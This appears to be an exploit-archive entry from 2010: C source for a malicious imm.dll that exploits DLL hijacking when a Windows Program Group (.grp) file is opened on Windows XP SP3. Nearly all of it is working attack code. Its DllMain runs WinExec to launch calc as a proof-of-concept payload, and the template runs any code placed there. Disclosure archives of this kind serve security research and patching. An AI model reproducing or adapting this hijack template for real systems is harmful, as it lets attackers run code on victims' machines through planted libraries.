Windows Program Group DLL hijacking exploit that leverages imm.dll.
1cda1501da5eb728461531723dd934d53902be0b396568d8c84ee71f8e4ac514
/*
Exploit Title: Windows Program Group DLL Hijacking Exploit (imm.dll)
Date: 25/08/2010
Author: Alvaro Ovalle
Email: aovalle (at) zoho (dot) com
Software Link: N/A
Tested on: Windows XP SP3 English
Extension: .grp
*/
#include <windows.h>
int run()
{
WinExec("calc", SW_SHOW);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
run();
return 0;
}